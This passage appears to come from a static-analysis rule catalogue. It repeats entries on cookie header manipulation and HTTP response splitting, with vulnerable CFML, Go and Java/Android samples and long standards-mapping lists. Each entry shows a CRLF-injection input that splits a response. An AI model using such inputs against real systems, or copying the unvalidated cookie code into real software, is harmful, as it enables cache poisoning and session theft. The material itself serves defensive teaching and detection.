[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.1 - Web Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.dotnet.header_manipulation_cookies
Abstract
Including unvalidated data in Cookies can lead to HTTP Response header manipulation and enable cache-poisoning, cross-site scripting, cross-user defacement, page hijacking, cookie manipulation or open redirect.
Explanation
Cookie Manipulation vulnerabilities occur when:

1. Data enters a web application through an untrusted source, most frequently an HTTP request.

2. The data is included in an HTTP cookie sent to a web user without being validated.

As with many software security vulnerabilities, cookie manipulation is a means to an end, not an end in itself. At its root, the vulnerability is straightforward: an attacker passes malicious data to a vulnerable application, and the application includes the data in an HTTP cookie.

Cookie Manipulation: When combined with attacks like Cross-Site Request Forgery, attackers may change, add to, or even overwrite a legitimate user's cookies.

Being an HTTP Response header, Cookie manipulation attacks can also lead to other types of attacks like:

HTTP Response Splitting:
One of the most common Header Manipulation attacks is HTTP Response Splitting. To mount a successful HTTP Response Splitting exploit, the application must allow input that contains CR (carriage return, also given by %0d or \r) and LF (line feed, also given by %0a or \n)characters into the header. These characters not only give attackers control of the remaining headers and body of the response the application intends to send, but also allows them to create additional responses entirely under their control.

Many of today's modern application servers will prevent the injection of malicious characters into HTTP headers. For example, recent versions of Apache Tomcat will throw an IllegalArgumentException if you attempt to set a header with prohibited characters. If your application server prevents setting headers with new line characters, then your application is not vulnerable to HTTP Response Splitting. However, solely filtering for new line characters can leave an application vulnerable to Cookie Manipulation or Open Redirects, so care must still be taken when setting HTTP headers with user input.

Example: The following code segment reads the name of the author of a weblog entry, author, from an HTTP request and sets it in a cookie header of an HTTP response.


<cfcookie name = "author"
value = "#Form.author#"
expires = "NOW">


Assuming a string consisting of standard alphanumeric characters, such as "Jane Smith", is submitted in the request the HTTP response including this cookie might take the following form:


HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...


However, because the value of the cookie is formed of unvalidated user input the response will only maintain this form if the value submitted for AUTHOR_PARAM does not contain any CR and LF characters. If an attacker submits a malicious string, such as "Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...", then the HTTP response would be split into two responses of the following form:


HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker

HTTP/1.1 200 OK
...


Clearly, the second response is completely controlled by the attacker and can be constructed with any header and body content desired. The ability of attacker to construct arbitrary HTTP responses permits a variety of resulting attacks, including: cross-user defacement, web and browser cache poisoning, cross-site scripting, and page hijacking.

Cross-User Defacement: An attacker will be able to make a single request to a vulnerable server that will cause the server to create two responses, the second of which may be misinterpreted as a response to a different request, possibly one made by another user sharing the same TCP connection with the server. This can be accomplished by convincing the user to submit the malicious request themselves, or remotely in situations where the attacker and the user share a common TCP connection to the server, such as a shared proxy server. In the best case, an attacker may leverage this ability to convince users that the application has been hacked, causing users to lose confidence in the security of the application. In the worst case, an attacker may provide specially crafted content designed to mimic the behavior of the application but redirect private information, such as account numbers and passwords, back to the attacker.

Cache Poisoning: The impact of a maliciously constructed response can be magnified if it is cached either by a web cache used by multiple users or even the browser cache of a single user. If a response is cached in a shared web cache, such as those commonly found in proxy servers, then all users of that cache will continue receive the malicious content until the cache entry is purged. Similarly, if the response is cached in the browser of an individual user, then that user will continue to receive the malicious content until the cache entry is purged, although only the user of the local browser instance will be affected.

Cross-Site Scripting: Once attackers have control of the responses sent by an application, they have a choice of a variety of malicious content to provide users. Cross-site scripting is common form of attack where malicious JavaScript or other code included in a response is executed in the user's browser. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site. The most common and dangerous attack vector against users of a vulnerable application uses JavaScript to transmit session and authentication information back to the attacker who can then take complete control of the victim's account.

Page Hijacking: In addition to using a vulnerable application to send malicious content to a user, the same root vulnerability can also be leveraged to redirect sensitive content generated by the server and intended for the user to the attacker instead. By submitting a request that results in two responses, the intended response from the server and the response generated by the attacker, an attacker may cause an intermediate node, such as a shared proxy server, to misdirect a response generated by the server for the user to the attacker. Because the request made by the attacker generates two responses, the first is interpreted as a response to the attacker's request, while the second remains in limbo. When the user makes a legitimate request through the same TCP connection, the attacker's request is already waiting and is interpreted as a response to the victim's request. The attacker then sends a second request to the server, to which the proxy server responds with the server generated request intended for the victim, thereby compromising any sensitive information in the headers or body of the response intended for the victim.

Open Redirect: Allowing unvalidated input to control the URL used in a redirect can aid phishing attacks.
References
[1] Amit Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] Diabolic Crab HTTP Response Splitting
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 113
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.1 - Web Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.cfml.header_manipulation_cookies
Abstract
Including unvalidated data in Cookies can lead to HTTP Response header manipulation and enable cache-poisoning, cross-site scripting, cross-user defacement, page hijacking, cookie manipulation, or open redirect.
Explanation
Cookie Manipulation vulnerabilities occur when:

1. Data enters a web application through an untrusted source, most frequently an HTTP request.

2. The data is included in an HTTP cookie sent to a web user without being validated.

As with many software security vulnerabilities, cookie manipulation is a means to an end, not an end in itself. At its root, the vulnerability is straightforward: an attacker passes malicious data to a vulnerable application, and the application includes the data in an HTTP cookie.

Cookie Manipulation: When combined with attacks like Cross-Site Request Forgery, attackers can change, add to, or even overwrite a legitimate user's cookies.

Being an HTTP Response header, cookie manipulation attacks can also lead to other types of attacks like:

HTTP Response Splitting:
One of the most common Header Manipulation attacks is HTTP Response Splitting. To mount a successful HTTP Response Splitting exploit, the application must allow input that contains CR (carriage return, also given by %0d or \r) and LF (line feed, also given by %0a or \n) characters into the header. These characters not only give attackers control of the remaining headers and body of the response the application intends to send, but also allows them to create additional responses entirely under their control.

Many of today's modern application servers prevent the injection of malicious characters into HTTP headers. For example, recent versions of Apache Tomcat will throw an IllegalArgumentException if you attempt to set a header with prohibited characters. If your application server prevents setting headers with new line characters, then your application is not vulnerable to HTTP Response Splitting. However, solely filtering for new line characters can leave an application vulnerable to Cookie Manipulation or Open Redirects, so care must still be taken when setting HTTP headers with user input.

Example: The following code segment reads the name of the author of a weblog entry, author, from an HTTP request and sets it in a cookie header of an HTTP response.


...
author := request.FormValue("AUTHOR_PARAM")
cookie := http.Cookie{
Name: "author",
Value: author,
Domain: "www.example.com",
}
http.SetCookie(w, &cookie)
...


Assuming a string consisting of standard alphanumeric characters, such as "Jane Smith", is submitted in the request the HTTP response including this cookie might take the following form:


HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...


However, because the value of the cookie is formed of unvalidated user input the response only maintains this form if the value submitted for AUTHOR_PARAM does not contain any CR and LF characters. If an attacker submits a malicious string, such as "Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...", then the HTTP response is split into two responses of the following form:


HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker

HTTP/1.1 200 OK
...


Clearly, the second response is completely controlled by the attacker and can be constructed with any header and body content desired. The ability of attacker to construct arbitrary HTTP responses permits a variety of resulting attacks, including: cross-user defacement, web and browser cache poisoning, cross-site scripting, and page hijacking.

Cross-User Defacement: An attacker can make a single request to a vulnerable server that causes the server to create two responses, the second of which can be misinterpreted as a response to a different request, possibly one made by another user sharing the same TCP connection with the server. This can be accomplished by convincing the user to submit the malicious request themselves, or remotely in situations where the attacker and the user share a common TCP connection to the server, such as a shared proxy server. In the best case, an attacker might leverage this ability to convince users that the application has been hacked, causing users to lose confidence in the security of the application. In the worst case, an attacker might provide especially crafted content designed to mimic the behavior of the application but redirect private information, such as account numbers and passwords, back to the attacker.

Cache Poisoning: The impact of a maliciously constructed response can be magnified if it is cached either by a web cache used by multiple users or even the browser cache of a single user. If a response is cached in a shared web cache, such as those commonly found in proxy servers, then all users of that cache will continue receive the malicious content until the cache entry is purged. Similarly, if the response is cached in the browser of an individual user, then that user will continue to receive the malicious content until the cache entry is purged, although only the user of the local browser instance is affected.

Cross-Site Scripting: After attackers have control of the responses sent by an application, they have a variety of malicious content they can provide to users. Cross-site scripting is common form of attack where malicious JavaScript or other code included in a response is executed in the user's browser. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site. The most common and dangerous attack vector against users of a vulnerable application uses JavaScript to transmit session and authentication information back to the attacker who can then take complete control of the victim's account.

Page Hijacking: In addition to using a vulnerable application to send malicious content to a user, an attacker can leverage the same root vulnerability to redirect sensitive content generated by the server and intended for the user to the attacker instead. By submitting a request that results in two responses, the intended response from the server and the response generated by the attacker, an attacker can cause an intermediate node, such as a shared proxy server, to misdirect a response generated by the server for the user to the attacker. Because the request made by the attacker generates two responses, the first is interpreted as a response to the attacker's request, while the second remains in limbo. When the user makes a legitimate request through the same TCP connection, the attacker's request is already waiting and is interpreted as a response to the victim's request. The attacker then sends a second request to the server, to which the proxy server responds with the server generated request intended for the victim, thereby compromising any sensitive information in the headers or body of the response intended for the victim.

Open Redirect: Allowing unvalidated input to control the URL used in a redirect can aid phishing attacks.
References
[1] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[2] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[3] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[5] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[6] Standards Mapping - CIS Kubernetes Benchmark partial
[7] Standards Mapping - Common Weakness Enumeration CWE ID 113
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[9] Standards Mapping - FIPS200 SI
[10] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[13] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[14] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[15] Standards Mapping - OWASP Top 10 2010 A1 Injection
[16] Standards Mapping - OWASP Top 10 2013 A1 Injection
[17] Standards Mapping - OWASP Top 10 2017 A1 Injection
[18] Standards Mapping - OWASP Top 10 2021 A03 Injection
[19] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[20] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[21] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.1 - Web Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[33] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[54] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[55] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.golang.header_manipulation_cookies
Abstract
Including unvalidated data in Cookies can lead to HTTP Response header manipulation and enable cache-poisoning, cross-site scripting, cross-user defacement, page hijacking, cookie manipulation or open redirect.
Explanation
Cookie Manipulation vulnerabilities occur when:

1. Data enters a web application through an untrusted source, most frequently an HTTP request.

2. The data is included in an HTTP cookie sent to a web user without being validated.

As with many software security vulnerabilities, cookie manipulation is a means to an end, not an end in itself. At its root, the vulnerability is straightforward: an attacker passes malicious data to a vulnerable application, and the application includes the data in an HTTP cookie.

Cookie Manipulation: When combined with attacks like Cross-Site Request Forgery, attackers may change, add to, or even overwrite a legitimate user's cookies.

Being an HTTP Response header, cookie manipulation attacks can also lead to other types of attacks like:

HTTP Response Splitting:
One of the most common Header Manipulation attacks is HTTP Response Splitting. To mount a successful HTTP Response Splitting exploit, the application must allow input that contains CR (carriage return, also given by %0d or \r) and LF (line feed, also given by %0a or \n)characters into the header. These characters not only give attackers control of the remaining headers and body of the response the application intends to send, but also allows them to create additional responses entirely under their control.

Many of today's modern application servers will prevent the injection of malicious characters into HTTP headers. For example, recent versions of Apache Tomcat will throw an IllegalArgumentException if you attempt to set a header with prohibited characters. If your application server prevents setting headers with new line characters, then your application is not vulnerable to HTTP Response Splitting. However, solely filtering for new line characters can leave an application vulnerable to Cookie Manipulation or Open Redirects, so care must still be taken when setting HTTP headers with user input.

Example 1: The following code segment reads the name of the author of a weblog entry, author, from an HTTP request and sets it in a cookie header of an HTTP response.


String author = request.getParameter(AUTHOR_PARAM);
...
Cookie cookie = new Cookie("author", author);
cookie.setMaxAge(cookieExpiration);
response.addCookie(cookie);


Assuming a string consisting of standard alphanumeric characters, such as "Jane Smith", is submitted in the request the HTTP response including this cookie might take the following form:


HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...


However, because the value of the cookie is formed of unvalidated user input the response will only maintain this form if the value submitted for AUTHOR_PARAM does not contain any CR and LF characters. If an attacker submits a malicious string, such as "Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...", then the HTTP response would be split into two responses of the following form:


HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker

HTTP/1.1 200 OK
...


Clearly, the second response is completely controlled by the attacker and can be constructed with any header and body content desired. The ability of attacker to construct arbitrary HTTP responses permits a variety of resulting attacks, including: cross-user defacement, web and browser cache poisoning, cross-site scripting, and page hijacking.

Some think that in the mobile world, classic web application vulnerabilities, such as header and cookie manipulation, do not make sense -- why would the user attack themself? However, keep in mind that the essence of mobile platforms is applications that are downloaded from various sources and run alongside each other on the same device. The likelihood of running a piece of malware next to a banking application is high, which necessitates expanding the attack surface of mobile applications to include inter-process communication.

Example 2: The following code adapts Example 1 to the Android platform.


...
CookieManager webCookieManager = CookieManager.getInstance();
String author = this.getIntent().getExtras().getString(AUTHOR_PARAM);
String setCookie = "author=" + author + "; max-age=" + cookieExpiration;
webCookieManager.setCookie(url, setCookie);

...
Cross-User Defacement: An attacker will be able to make a single request to a vulnerable server that will cause the server to create two responses, the second of which may be misinterpreted as a response to a different request, possibly one made by another user sharing the same TCP connection with the server. This can be accomplished by convincing the user to submit the malicious request themselves, or remotely in situations where the attacker and the user share a common TCP connection to the server, such as a shared proxy server. In the best case, an attacker may leverage this ability to convince users that the application has been hacked, causing users to lose confidence in the security of the application. In the worst case, an attacker may provide specially crafted content designed to mimic the behavior of the application but redirect private information, such as account numbers and passwords, back to the attacker.

Cache Poisoning: The impact of a maliciously constructed response can be magnified if it is cached either by a web cache used by multiple users or even the browser cache of a single user. If a response is cached in a shared web cache, such as those commonly found in proxy servers, then all users of that cache will continue receive the malicious content until the cache entry is purged. Similarly, if the response is cached in the browser of an individual user, then that user will continue to receive the malicious content until the cache entry is purged, although only the user of the local browser instance will be affected.

Cross-Site Scripting: Once attackers have control of the responses sent by an application, they have a choice of a variety of malicious content to provide users. Cross-site scripting is common form of attack where malicious JavaScript or other code included in a response is executed in the user's browser. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site. The most common and dangerous attack vector against users of a vulnerable application uses JavaScript to transmit session and authentication information back to the attacker who can then take complete control of the victim's account.

Page Hijacking: In addition to using a vulnerable application to send malicious content to a user, the same root vulnerability can also be leveraged to redirect sensitive content generated by the server and intended for the user to the attacker instead. By submitting a request that results in two responses, the intended response from the server and the response generated by the attacker, an attacker may cause an intermediate node, such as a shared proxy server, to misdirect a response generated by the server for the user to the attacker. Because the request made by the attacker generates two responses, the first is interpreted as a response to the attacker's request, while the second remains in limbo. When the user makes a legitimate request through the same TCP connection, the attacker's request is already waiting and is interpreted as a response to the victim's request. The attacker then sends a second request to the server, to which the proxy server responds with the server generated request intended for the victim, thereby compromising any sensitive information in the headers or body of the response intended for the victim.

Open Redirect: Allowing unvalidated input to control the URL used in a redirect can aid phishing attacks.
References
[1] A. Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] D. Crab HTTP Response Splitting
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 113
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
